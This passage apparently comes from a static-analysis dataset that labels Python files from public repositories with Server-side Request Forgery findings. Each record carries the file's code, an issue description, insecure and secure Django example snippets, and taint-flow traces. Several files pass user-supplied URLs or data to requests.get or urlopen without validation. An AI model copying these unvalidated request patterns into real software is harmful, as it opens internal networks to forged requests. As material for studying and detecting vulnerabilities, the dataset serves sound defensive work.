= expanded[1:]\n return expanded\n\nclass SelfUpdate:\n VERSION_REGEX = re.compile(\n r\"v?(\\d+)(?:\\.(\\d+))?(?:\\.(\\d+))?(?:\\.(\\d+))?\"\n \"(\"\n \"[._-]?\"\n r\"(?:(stable|beta|b|RC|alpha|a|patch|pl|p)((?:[.-]?\\d+)*)?)?\"\n \"([.-]?dev)?\"\n \")?\"\n r\"(?:\\+[^\\s]+)?\"\n )\n\n def __init__(self, version=None, force=False):\n config = configparser.ConfigParser()\n config.read(self.config)\n self.server_host = config['tool.collie.settings']['server_host']\n self.server_port = config['tool.collie.settings']['server_port']\n self.join_id = config['tool.collie.settings']['join_id']\n self.uuid = config['tool.collie.settings']['uuid']\n server_host = self.server_host.strip('\"')\n server_port = self.server_port.strip('\"')\n self.SERVER_URL = f'http://{server_host}:{server_port}/api_v1'\n self.METADATA_URL = self.SERVER_URL + \"/setting/get-endpoint/json\"\n self.BASE_URL = self.SERVER_URL + \"/setting/download\"\n self._version = None if isinstance(version, bool) else version\n self._force = force\n\n @property\n def home(self):\n if os.environ.get(\"COLLIE_HOME\"):\n return Path(expanduser(os.environ[\"COLLIE_HOME\"]))\n\n home = Path(expanduser(\"~\"))\n\n return home / \".collie\"\n\n @property\n def bin(self):\n return self.home / \"bin\"\n\n @property\n def lib(self):\n return self.home / \"lib\"\n\n @property\n def lib_backup(self):\n return self.home / \"lib-backup\"\n\n @property\n def config(self):\n return self.home / \"lib\" / 'collie' / 'pyproject.toml'\n\n def get_version(self):\n from .__version__ import __version__\n metadata = json.loads(self._get(self.METADATA_URL).decode())\n\n def _compare_versions(x, y):\n mx = self.VERSION_REGEX.match(x)\n my = self.VERSION_REGEX.match(y)\n\n vx = tuple(int(p) for p in mx.groups()[:3]) + (mx.group(5),)\n vy = tuple(int(p) for p in my.groups()[:3]) + (my.group(5),)\n\n if vx < vy:\n return -1\n elif vx > vy:\n return 1\n\n return 0\n\n releases = sorted(\n metadata[\"releases\"], key=cmp_to_key(_compare_versions)\n )\n\n if self._version and self._version not in releases:\n print(\"Version {} does not exist.\".format(self._version))\n\n return None, None\n\n version = self._version\n if not version:\n for release in reversed(releases):\n m = self.VERSION_REGEX.match(release)\n if m.group(5) and not self.allows_prereleases():\n continue\n\n version = release\n\n break\n\n current_version = __version__\n\n if current_version == version and not self._force:\n print(\"Latest version already installed.\")\n return None, current_version\n\n return version, current_version\n\n def run(self):\n version, current_version = self.get_version()\n if not version:\n return\n\n self.update(version)\n\n self.restore_config()\n print(f'Succeeded to update collie to version {version}')\n\n def update(self, version):\n if self.lib_backup.exists():\n shutil.rmtree(str(self.lib_backup))\n\n # Backup the current installation\n if self.lib.exists():\n shutil.copytree(str(self.lib), str(self.lib_backup))\n shutil.rmtree(str(self.lib))\n\n try:\n self._update(version)\n except Exception:\n if not self.lib_backup.exists():\n raise\n\n shutil.copytree(str(self.lib_backup), str(self.lib))\n shutil.rmtree(str(self.lib_backup))\n\n raise\n finally:\n if self.lib_backup.exists():\n shutil.rmtree(str(self.lib_backup))\n\n self.make_bin()\n\n def _update(self, version):\n release_name = self._get_release_name(version)\n\n base_url = self.BASE_URL + '?'\n name = f\"{release_name}.tar.gz\"\n checksum = f\"{release_name}.sha256sum\"\n\n try:\n r = urlopen(base_url + \"file={}\".format(checksum))\n except HTTPError as e:\n if e.code == 404:\n raise RuntimeError(\"Could not find {} file\".format(checksum))\n\n raise\n\n checksum = r.read().decode().strip()\n\n try:\n r = urlopen(base_url + \"file={}\".format(name))\n except HTTPError as e:\n if e.code == 404:\n raise RuntimeError(\"Could not find {} file\".format(name))\n\n raise\n\n meta = r.info()\n size = int(meta[\"Content-Length\"])\n current = 0\n block_size = 8192\n\n sha = hashlib.sha256()\n with tempfile.TemporaryDirectory(prefix=\"collie-updater-\") as dir_:\n tar = os.path.join(dir_, name)\n with open(tar, \"wb\") as f:\n while True:\n buffer = r.read(block_size)\n if not buffer:\n break\n\n current += len(buffer)\n f.write(buffer)\n sha.update(buffer)\n\n # Checking hashes\n if checksum != sha.hexdigest():\n raise RuntimeError(\n \"Hashes for {} do not match: {} != {}\".format(\n name, checksum, sha.hexdigest()\n )\n )\n\n gz = GzipFile(tar, mode=\"rb\")\n try:\n with tarfile.TarFile(tar, fileobj=gz, format=tarfile.PAX_FORMAT) as f:\n f.extractall(str(self.lib))\n finally:\n gz.close()\n\n def restore_config(self):\n config = configparser.ConfigParser()\n config.read(self.config)\n config['tool.collie.settings']['server_host'] = self.server_host\n config['tool.collie.settings']['server_port'] = self.server_port\n config['tool.collie.settings']['join_id'] = self.join_id\n config['tool.collie.settings']['uuid'] = self.uuid\n with open(self.config, 'w') as config_file:\n config.write(config_file)\n\n def process(self, *args):\n return subprocess.check_output(list(args), stderr=subprocess.STDOUT)\n\n def _check_recommended_installation(self):\n current = Path(__file__)\n try:\n current.relative_to(self.home)\n except ValueError:\n raise RuntimeError(\n \"Collie was not installed with the recommended installer. \"\n \"Cannot update automatically.\"\n )\n\n def _get_release_name(self, version):\n platform = sys.platform\n if platform == \"linux2\":\n platform = \"linux\"\n\n return \"collie-{}-{}\".format(version, platform)\n\n def _bin_path(self, base_path, bin):\n if WINDOWS:\n return (base_path / \"Scripts\" / bin).with_suffix(\".exe\")\n\n return base_path / \"bin\" / bin\n\n def make_bin(self):\n self.bin.mkdir(0o755, parents=True, exist_ok=True)\n\n python_executable = self._which_python()\n\n with self.bin.joinpath(\"bootstrap.py\").open(\"w\", newline=\"\") as f:\n f.write(BOOTSTRAP.format(collie_bin=str(self.bin / \"collie.py\")))\n\n if WINDOWS:\n with self.bin.joinpath(\"collie.bat\").open(\"w\", newline=\"\") as f:\n f.write(\n BAT.format(\n python_executable=python_executable,\n collie_bootstrap=str(self.bin / \"bootstrap.py\").replace(\n os.environ[\"USERPROFILE\"], \"%USERPROFILE%\"\n ),\n )\n )\n else:\n with self.bin.joinpath(\"collie\").open(\"w\", newline=\"\") as f:\n f.write(\n SH.format(\n collie_bootstrap=str(self.bin / \"bootstrap.py\").replace(\n os.getenv(\"HOME\", \"\"), \"$HOME\"\n ),\n )\n )\n\n bin_content = BIN\n if not WINDOWS:\n bin_content = \"#!/usr/bin/env {}\\n\".format(python_executable) + bin_content\n\n self.bin.joinpath(\"collie.py\").write_text(bin_content, encoding=\"utf-8\")\n\n if not WINDOWS:\n # Making the file executable\n st = os.stat(str(self.bin.joinpath(\"collie\")))\n os.chmod(str(self.bin.joinpath(\"collie\")), st.st_mode | stat.S_IEXEC)\n\n def _which_python(self):\n \"\"\"\n Decides which python executable we'll embed in the launcher script.\n \"\"\"\n allowed_executables = [\"python\", \"python3\"]\n if WINDOWS:\n allowed_executables += [\"py.exe -3\", \"py.exe -2\"]\n\n # \\d in regex ensures we can convert to int later\n version_matcher = re.compile(r\"^Python (?P\\d+)\\.(?P\\d+)\\..+$\")\n fallback = None\n for executable in allowed_executables:\n try:\n raw_version = subprocess.check_output(\n executable + \" --version\", stderr=subprocess.STDOUT, shell=True\n ).decode(\"utf-8\")\n except subprocess.CalledProcessError:\n continue\n\n match = version_matcher.match(raw_version.strip())\n if match and tuple(map(int, match.groups())) >= (3, 0):\n # favor the first py3 executable we can find.\n return executable\n\n if fallback is None:\n # keep this one as the fallback; it was the first valid executable we found.\n fallback = executable\n\n if fallback is None:\n # Avoid breaking existing scripts\n fallback = \"python\"\n\n return fallback\n\n def _get(self, url):\n request = Request(url, headers={\"User-Agent\": \"Python Robotest\"})\n\n with closing(urlopen(request)) as r:\n return r.read()\n\n def update_join_id(self, join_id):\n config = configparser.ConfigParser()\n config.read(self.config)\n config['tool.collie.settings']['join_id'] = f'\"{join_id}\"'\n with open(self.config, 'w') as config_file:\n config.write(config_file)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 393, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "Request"}}, {"lineNo": 393, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 395, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 395, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "urlopen"}}]}} {"id": "1c6935491e7ed0a494f11a56dd653a12da15275a661dc32f2a6a297eade91e37", "license": {"spdx": ["MIT"], "repo": "GnuVill-HUFS/2018-Academic-Seminar", "path": "Aserver/app.py", "repo_head_hexsha": "82a62713fbee3fd9e4a676f8add7a610e3617c1a", "stack_hexsha": "a9c1e19e3991b37d6f5960dcb7426b8017c473fa", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 41, "entireCode": "from flask import Flask,render_template, redirect, url_for\nimport requests, json, webbrowser\nfrom flask import request\nimport os\nfrom urllib.parse import urljoin\n\nA_SERVER = 'http://192.168.1.4:3333'\nB_SERVER = 'http://192.168.1.5:4444'\n\napp = Flask(__name__, static_url_path='/static')\n\n@app.route('/aaron', methods=['POST','GET'])\ndef A_rasp():\n if request.method == 'POST':\n try:\n data = json.loads(request.data)#푸는것\n print(\"AAA\")\n res = requests.post(B_SERVER + '/bbb', data = json.dumps(data))\n except:\n HaveError = {'code_num': 312}\n #file_path = 'woo.html'\n #file_path = urljoin('file://'.os.path.abspath(file_path))\n return \"ERR1111\"\n\n@app.route('/checking',methods=['POST','GET'])\ndef Check():\n if request.method == 'POST':\n back = json.loads(request.data)\n requests.post(A_SERVER + '/save', data=json.dumps(back))\n #return render_template('woo.html', names = back)\n\n elif request.method == 'GET':\n data = request.args.get('code_num')\n #word = data['word']\n return webbrowser.open(A_SERVER + '/save?code_num='+str(data))\n\n@app.route('/save', methods = ['GET','POST'])\ndef save():\n if request.method == 'POST':\n back = json.loads(request.data)\n requests.get(A_SERVER + '/checking', params=back)\n\n elif request.method=='GET':\n code_num = request.args.get('code_num')\n #return str(code_num)\n return render_template('woo.html', code_num=str(code_num))\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port='3333', debug=False)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 39, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "39"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.data"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.loads"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 41, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "54bb19b332b1a1ad13d1255d16db5df97b306ec2f752d184cf3852da55624009", "license": {"spdx": ["MIT"], "repo": "matteoferla/PyMOL-to-NGL-transpiler", "path": "michelanglo_app/views/common_methods.py", "repo_head_hexsha": "3e1ce6cecde4b913188afa4472148bc5ab7f34a8", "stack_hexsha": "a9691491c31f1ba54d39366d4764df22b994adb5", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 351, "entireCode": "import os, requests, logging, re, unicodedata, uuid, shutil, json\nfrom ..models import User, Page\nfrom michelanglo_transpiler import PyMolTranspiler\nfrom michelanglo_protein import Structure, global_settings, is_alphafold_taxon\nfrom . import valid_extensions\nfrom .uniprot_data import uniprot2name\nfrom pyramid.request import Request\nimport smtplib\nfrom email.mime.text import MIMEText\n\nlog = logging.getLogger(__name__)\nfrom typing import Union\n### The latter two are utterly stupid usage.\nfrom Bio.PDB.MMCIF2Dict import MMCIF2Dict\nimport io\n\n\n## convert booleans and settings\ndef is_js_true(value: str):\n \"\"\"\n booleans get converted into strings in json. This fixes that.\n \"\"\"\n if not value or value in ('false', 'False', False, 'No', 'no', 'F', 'null', 'off', 0, ''):\n return False\n else: ## while also return True if its a number or string.\n return True\n\n\ndef get_uuid(request: Request):\n identifier = str(uuid.uuid4())\n if identifier in [p.identifier for p in request.dbsession.query(Page)]:\n log.error('UUID collision!!!')\n return get_uuid(request) # one in a ten-quintillion!\n return identifier\n\nclass Comms:\n slack_webhook = None # filled by data_folder_setup.setup_comms\n server_email = None\n admin_email = None\n\n @classmethod\n def notify_admin(cls, msg):\n \"\"\"\n Send message to a slack webhook\n :param msg:\n :return:\n \"\"\"\n if not cls.slack_webhook:\n log.critical(f'SLACK_WEBHOOK is absent!')\n log.warning(f'Cannot send message {msg}')\n return\n # sanitise.\n msg = unicodedata.normalize('NFKD', msg).encode('ascii', 'ignore').decode('ascii')\n msg = re.sub('[^\\w\\s\\-.,;?!@#()\\[\\]]', '', msg)\n\n r = requests.post(url=cls.slack_webhook.strip(),\n headers={'Content-type': 'application/json'},\n data=f\"{{'text': '{msg}'}}\")\n if r.status_code == 200 and r.content == b'ok':\n return True\n else:\n log.error(f'{msg} failed to send (code: {r.status_code}, {r.content}).')\n return False\n\n @classmethod\n def email(cls, text, recipient, subject='[Michelanglo] Notification'):\n if not cls.server_email:\n log.warning('There is not mailing system configured.')\n else:\n smtp = smtplib.SMTP()\n smtp.connect('localhost')\n msg = MIMEText(text)\n msg['Subject'] = subject\n msg['From'] = cls.server_email\n msg['To'] = recipient\n if cls.admin_email:\n msg.add_header('reply-to', cls.admin_email)\n smtp.send_message(msg)\n smtp.quit()\n\n\ndef is_malformed(request, *args) -> Union[None, str]:\n \"\"\"\n Verify that the request.params is valid. returns None if it is valid. Else returns why.\n :param request:\n :param args:\n :return: msg\n \"\"\"\n missing = [k for k in args if k not in request.params and f'{k}[]' not in request.params]\n if missing:\n request.response.status = 422\n log.warning(f'{User.get_username(request)} malformed request due to missing {missing}')\n return f'Missing field ({missing})'\n else:\n return None\n\n\nclass PDBMeta:\n \"\"\"\n Query the PDBe for what the code parts are.\n Herein by chain the chain letter is meant, while the data of the chain is called entity... terrible.\n \"\"\"\n\n def __init__(self, entry):\n if entry.find('_') != -1:\n self.code, self.chain = entry.split('_')\n else:\n self.code = entry\n self.chain = '?'\n reply = requests.get(f'http://www.ebi.ac.uk/pdbe/api/pdb/entry/molecules/{self.code}').json()\n if reply:\n self.data = reply[self.code.lower()]\n else:\n self.data = []\n\n def get_data_by_chain(self, chain=None):\n if not chain:\n chain = self.chain\n return [entity for entity in self.data if chain in entity['in_chains']][0]\n\n def get_range_by_chain(self, chain=None):\n if not chain:\n chain = self.chain\n entity = self.get_data_by_chain(chain)\n return self.get_range_by_entity(entity)\n\n def get_range_by_entity(self, entity):\n if 'source' in entity:\n if len(entity['source']):\n mappings = entity['source'][0]['mappings']\n if len(entity['source'][0]['mappings']) > 1:\n raise ValueError('MULTIPLE MAPPINGS?!')\n s = mappings[0]['start']['residue_number']\n e = mappings[0]['end']['residue_number']\n return (s, e)\n else: ## synthetic.\n return (1, len(entity['sequence']))\n else:\n raise ValueError('This is not a peptide')\n\n def get_proteins(self):\n return [entity for entity in self.data if self.is_peptide(entity)]\n\n def get_nonproteins(self):\n return [entity for entity in self.data if not self.is_peptide(entity)]\n\n def is_peptide(self, entity):\n return entity['molecule_type'] == 'polypeptide(L)'\n\n def wordy_describe_entity(self, entity):\n if self.is_peptide(entity):\n return f'{\"/\".join(entity[\"molecule_name\"])} as chain {\"/\".join(entity[\"in_chains\"])} [{\"-\".join([str(n) for n in self.get_range_by_entity(entity)])}]'\n else:\n return f'{\"/\".join(entity[\"molecule_name\"])} in chain {\"/\".join(entity[\"in_chains\"])}'\n\n def is_boring_ligand(self, entity):\n if 'chem_comp_ids' not in entity:\n return True # this entity isnt even a thing\n elif len(entity['chem_comp_ids']) == 0:\n return True # this entity isnt even a thing\n else:\n return entity['chem_comp_ids'][0] in PyMolTranspiler.boring_ligand or entity['chem_comp_ids'][0] in (\n 'WAT', 'HOH', 'TP3')\n\n def wordy_describe(self, delimiter=' + '):\n descr = delimiter.join([self.wordy_describe_entity(entity) for entity in self.get_proteins()])\n descr += ' — ' + delimiter.join(\n [self.wordy_describe_entity(entity) for entity in self.get_nonproteins() if\n not self.is_boring_ligand(entity)])\n return f'{self.code} ({descr})'\n\n def describe(self):\n peptide = [(f'{\"-\".join([str(n) for n in self.get_range_by_entity(entity)])}:{chain}',\n \"/\".join(entity[\"molecule_name\"])) for entity in self.get_proteins() for chain in\n entity[\"in_chains\"]]\n hetero = [(f'{entity[\"chem_comp_ids\"][0]} and :{chain}',\n \"/\".join(entity[\"molecule_name\"])) for entity in self.get_nonproteins() for chain in\n entity[\"in_chains\"] if not self.is_boring_ligand(entity)]\n\n return {'peptide': peptide, 'hetero': hetero, 'ref': get_references(self.code)}\n\n\ndef get_references(code):\n try:\n code = code.replace('based upon', '').strip().split('.')[0]\n if len(code) == 0:\n return ''\n elif 'alphafold' in code or 'AF-' in code:\n return 'Model derived from EBI AlphaFold2 ' + \\\n '' + \\\n '., ., . et al. Highly accurate protein structure prediction with AlphaFold. Nature (2021).' + \\\n ''\n elif 'swissmodel' in code or len(code) == 24:\n return 'Model derived from SWISSMODEL ' + \\\n '., ., ., ., ., ., ., ., .' + \\\n ' (2018) SWISS-MODEL: homology modelling of protein structures and complexes. Nucleic Acids Res. 46(W1), W296-W303.'\n else:\n try:\n raw_reply = requests.get(f'https://www.ebi.ac.uk/pdbe/api/pdb/entry/publications/{code}')\n assert raw_reply.status_code == 200, f'Request gave a {raw_reply.status_code} code'\n reply = raw_reply.json()\n except Exception as err:\n msg = f'{err.__class__.__name__}: {err} for {code} in `get_references`'\n log.warning(msg)\n reply = {}\n if reply:\n citations = []\n for ref in reply[code.lower()]:\n authors = ', '.join([author[\"full_name\"] for author in ref[\"author_list\"]])\n if ref[\"doi\"] is None:\n continue\n try:\n jname = ref[\"journal_info\"][\"ISO_abbreviation\"] if ref[\"journal_info\"][\n \"ISO_abbreviation\"] is not None else \\\n ref[\"journal_info\"][\"pdb_abbreviation\"]\n issue = ref[\"journal_info\"][\"issue\"] if ref[\"journal_info\"][\"issue\"] is not None else ''\n pages = ref[\"journal_info\"][\"pages\"] if ref[\"journal_info\"][\"pages\"] is not None else ''\n journal = f'({ref[\"journal_info\"][\"year\"]}) {ref[\"title\"]} {jname} {issue} {pages}'\n except:\n journal = 'NA'\n citations.append(\n f'Structure {code} was reported in {authors} {journal}')\n return '
'.join(citations)\n else:\n return ''\n except Exception as error:\n msg = f'Severe/impossible... get_reference {error.__class__.__name__} - {error} for \"{code}\"'\n log.warning(msg)\n Comms.notify_admin(msg)\n return ''\n\n\ndef save_file(request, extension, field='file'):\n \"\"\"\n Saves the file without doing anything to it.\n \"\"\"\n\n filename = os.path.join(request.registry.settings['michelanglo.user_data_folder'],\n 'temp',\n '{0}.{1}'.format(get_uuid(request), extension)\n )\n with open(filename, 'wb') as output_file:\n if isinstance(request.params[field], str): ###API user made a mess.\n log.warning(f'user uploaded a str not a file!')\n output_file.write(request.params[field].encode('utf-8'))\n else:\n request.params[field].file.seek(0)\n shutil.copyfileobj(request.params[field].file, output_file)\n return filename\n\n\ndef save_coordinates(request, mod_fx=None):\n \"\"\"\n Saves the request['pdb'] file. Does not accept str.\n \"\"\"\n extension = request.params['pdb'].filename.split('.')[-1]\n if extension not in valid_extensions:\n log.warning(f'Odd format in pdb upload: {extension} {valid_extensions}')\n extension = 'pdb'\n filename = save_file(request, extension, field='pdb')\n trans = PyMolTranspiler().load_pdb(file=filename, mod_fx=mod_fx)\n os.remove(filename)\n if extension != 'pdb':\n os.remove(filename.replace(extension, 'pdb'))\n return trans\n\n\ndef get_chain_definitions(source: Union[Request, str]):\n \"\"\"\n In parts of the code (backend) it is called definition. in the frontend it is descriptions.\n It accepts either a 4 letter code or a request object.\n \"\"\"\n\n def get_from_code(code):\n code = code.split('_')[0]\n if len(code) == 4:\n definitions = Structure(id=code, description='', x=0, y=0, code=code).lookup_sifts().chain_definitions\n for d in definitions:\n if d['name'] is None and d['uniprot'] in uniprot2name:\n d['name'] = uniprot2name[d['uniprot']]\n return definitions\n else:\n return []\n\n if isinstance(source, str):\n return get_from_code(source)\n elif isinstance(source, Request):\n request = source\n if 'definitions' in request.params:\n definitions = json.loads(request.params['definitions'])\n elif len(request.params['pdb']) == 4:\n definitions = get_from_code(request.params['pdb'])\n elif 'format' in request.params and request.params['format'] == 'cif':\n try:\n data = MMCIF2Dict(io.StringIO(request.params['pdb']))\n forced_list = lambda v: v if isinstance(v, list) else [v]\n chains = forced_list(data['_entity_poly.pdbx_strand_id'])\n species = forced_list(data['_entity_src_gen.pdbx_gene_src_ncbi_taxonomy_id'])\n name = forced_list(data['_entity_src_gen.pdbx_gene_src_gene'])\n details = []\n for i, c in enumerate(chains):\n n = name[i].split(',')[0]\n assert species[i].isdigit()\n uniprot = json.load(\n open(os.path.join(global_settings.dictionary_folder, f'taxid{species[i]}-names2uniprot.json')))[\n n]\n for x in c.split(','):\n details.append({'chain': x,\n 'name': n,\n 'offset': 0,\n 'uniprot': uniprot})\n return details\n except:\n return []\n else:\n # raise ValueError('Neither a pdb code or a definition json')\n return []\n return definitions\n else:\n raise TypeError\n\n\nwhitelist = ['https://swissmodel.expasy.org',\n 'https://www.well.ox.ac.uk',\n 'https://alphafold.ebi.ac.uk/files/',\n 'https://raw.githubusercontent.com/',\n ]\n\n\ndef get_pdb_block_from_str(text):\n if len(text) == 4:\n return requests.get(f'https://files.rcsb.org/download/{text.upper()}.pdb').text\n elif len(text.strip()) == 0:\n raise ValueError('Empty PDB string?!')\n elif any([re.match(white, text) for white in whitelist]):\n return requests.get(text).text\n elif 'ATOM' in text or 'HETATM' in text: # already a PDB\n return text\n elif 'http' in text:\n raise ValueError(f'Unknown web address {text}. Please email admin to add to approved URLs')\n else:\n raise ValueError(f'Unknown type of PDB block {text}')\n\n\ndef get_pdb_block_from_request(request):\n if isinstance(request.params['pdb'], str): # string\n text = request.params['pdb']\n ## see if it's mmCIF\n if 'format' in request.params:\n if request.params['format'].lower() == 'pdb':\n return get_pdb_block_from_str(text)\n elif request.params['format'].lower() not in valid_extensions:\n log.warning(f'Odd format in pdb upload: {request.params[\"format\"]} {valid_extensions}')\n return get_pdb_block_from_str(text)\n else: ## mmCIF save_file is abivalent to file or str\n filename = save_file(request, request.params['format'].lower(), field='pdb')\n return PyMolTranspiler().load_pdb(file=filename).pdb_block\n else:\n return get_pdb_block_from_str(text)\n elif hasattr(request.params['pdb'], \"filename\"): # file\n return save_coordinates(request).pdb_block # has its own check to deal with mmCIF.\n else:\n raise TypeError\n\n\ndef get_pdb_block(source):\n \"\"\"\n This may do an unneccassry round trip.\n The output is a PDB block. Do not call if you want to keep using a pdb code.\n \"\"\"\n ##\n if isinstance(source, str):\n text = source\n return get_pdb_block_from_str(text).replace('`', '').replace('\\\\', '').replace('$', '')\n elif isinstance(source, Request):\n request = source\n return get_pdb_block_from_request(request).replace('`', '').replace('\\\\', '').replace('$', '')\n else:\n raise TypeError\n\n\ndef get_pdb_code(request):\n if 'pdb' in request.params:\n pdb = request.params['pdb']\n if isinstance(pdb, str): # string\n if len(pdb.strip()) == 4:\n return pdb.strip().upper()\n elif 'swissmodel' in pdb:\n return pdb\n elif hasattr(pdb, \"filename\"):\n return os.path.splitext(pdb.filename)[0].strip()\n else:\n pass\n if 'history' in request.params:\n return json.loads(request.params['history'])['code']\n return ''\n\n\ndef get_history(request):\n if 'history' in request.params:\n history = json.loads(request.params['history'])\n else:\n code = get_pdb_code(request)\n history = {'code': code, 'changes': ''}\n return history", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 346, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "346"}}, {"lineNo": 347, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 350, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "350"}}, {"lineNo": 351, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "get_pdb_block_from_str"}}, {"lineNo": 351, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "get_pdb_block_from_str"}}, {"lineNo": 351, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "316eadd6ec644a37f0e14cb8baf23d75cf4e922ba83f36872369277f922d1959", "license": {"spdx": ["MIT"], "repo": "SnackChain/SnackPi", "path": "project/handler/type/request.py", "repo_head_hexsha": "a3c869244335d0bc106e32e91df91b49cd33a4f8", "stack_hexsha": "4a456911f7999fad52338bfcd19bcc8a7f34fdc5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 39, "entireCode": "import requests\nfrom handler.type.handler import AbstractInstructionHandler\nfrom handler.operation.client import OperationClient\n\nclass RequestInstruction():\n\tdef __init__(self, url, method, headers = None, parameters = None, request_source = None, response_source = None):\n\t\tself.http_request = HTTPRequest(url, method, headers, parameters)\n\t\tself.request_source = request_source\n\t\tself.response_source = response_source\n\nclass HTTPRequest():\n\tdef __init__(self, url, method, headers = None, parameters = None):\n\t\tself.url = url\n\t\tself.headers = headers\n\t\tself.parameters = parameters\n\t\tself.method = method\n\n\tdef is_get(self):\n\t\tif self.method == 'GET':\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef is_post(self):\n\t\tif self.method == 'GET':\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\nclass 